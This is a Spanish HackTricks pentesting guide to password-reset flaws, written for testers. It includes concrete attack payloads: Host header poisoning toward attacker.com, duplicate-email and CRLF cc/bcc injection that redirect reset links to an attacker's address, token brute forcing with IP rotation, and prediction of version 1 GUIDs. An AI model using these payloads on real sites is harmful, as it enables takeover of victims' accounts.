hacktricks/pentesting-web/reset-password.md

14 KiB

Omisión de Contraseña Restablecida/Olvidada

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!

La siguiente recopilación de técnicas fue tomada de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Fuga de Token de Restablecimiento de Contraseña Vía Referente

El HTTP referer es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.

Explotación

  • Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico.
  • Haz clic en el enlace de restablecimiento de contraseña.
  • No cambies la contraseña.
  • Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter).
  • Intercepta la solicitud en el proxy de Burpsuite.
  • Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.

Impacto

Permite a la persona que tiene control sobre un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.

Referencia:

Envenenamiento de Restablecimiento de Contraseña

Si encuentras un ataque de encabezado de host y está fuera de alcance, ¡intenta encontrar el botón de restablecimiento de contraseña!

Explotación

  • Intercepta la solicitud de restablecimiento de contraseña en Burpsuite.
  • Añade el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Verifica si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com

Solución

Usa $_SERVER['SERVER_NAME'] en lugar de $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impacto

La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic, revelará el enlace/token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma total de la cuenta.

Referencia:

Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico

Explotación

  • Añadir correo electrónico del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Agregar correo electrónico del atacante como segundo parámetro utilizando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agrega el correo electrónico del atacante como segundo parámetro utilizando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar correo electrónico del atacante como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Agrega el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Agregar correo electrónico del atacante como segundo parámetro en el arreglo json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Referencia

Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de la API

Explotación

  • El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña
  • Iniciar Burp Suite e Intercepta la solicitud
  • Después de interceptar la solicitud, envíala al repetidor y modifica los parámetros Email y Contraseña
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Referencia

Sin Límite de Tasa: Bombardeo de Correo Electrónico

Explotación

  • Inicia Burp Suite e Intercepta la solicitud de restablecimiento de contraseña
  • Enviar a intruso
  • Utilizar carga útil nula

Referencia

Descubre Cómo se Genera el Token de Restablecimiento de Contraseña

Descubre el patrón del token de restablecimiento de contraseña

Si está

  • Generado basado en Timestamp
  • Generado basado en el UserID
  • Generado basado en el correo electrónico del Usuario
  • Generado basado en Nombre y Apellido
  • Generado basado en Fecha de Nacimiento
  • Generado basado en Criptografía

Utiliza Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.

GUID Adivinable

Existen diferentes tipos de GUIDs:

  • Versión 0: Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
  • Versión 1: El GUID se genera de manera predecible basado en:
  • El tiempo actual
  • Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUIDs durante el tiempo de actividad del sistema generador
  • Un "ID de nodo", que se genera basado en la dirección MAC del sistema si está disponible
  • Versión 3: El GUID se genera utilizando un hash MD5 de un nombre y espacio de nombres proporcionados.
  • Versión 4: El GUID se genera aleatoriamente.
  • Versión 5: El GUID se genera utilizando un hash SHA1 de un nombre y espacio de nombres proporcionados.

Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Si la versión utilizada para generar un GUID de restablecimiento de contraseña es la versión 1, es posible forzar bruscamente los GUIDS:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Referencias

Manipulación de respuesta: Reemplazar respuesta mala por una buena

Busca solicitudes y respuestas como estas

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Cambio de Respuesta

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Referencia

Uso de Token Expirado

  • Verificar si el token expirado puede ser reutilizado

Fuerza Bruta en Token de Restablecimiento de Contraseña

Intentar realizar fuerza bruta al token de restablecimiento utilizando Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • Utiliza IP-Rotator en burpsuite para evitar el límite de tasa basado en IP.

Referencia

Intenta Usar Tu Token

  • Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Referencia

Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña

Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debería invalidarse.
Por lo tanto, captura las cookies mientras el usuario está conectado, cierra sesión y verifica si las cookies aún son válidas.
Repite el proceso cambiando la contraseña en lugar de cerrar sesión.

Tiempo de Expiración del Token de Restablecimiento

Los tokens de restablecimiento deben tener un tiempo de expiración, después de este el token no debería ser válido para cambiar la contraseña de un usuario.

Verificaciones Adicionales

  • Usa username@burp_collab.net y analiza el callback
  • Usuario copia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
  • Contraseña larga (>200) conduce a DoS
  • Añade un segundo parámetro de email y valor

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: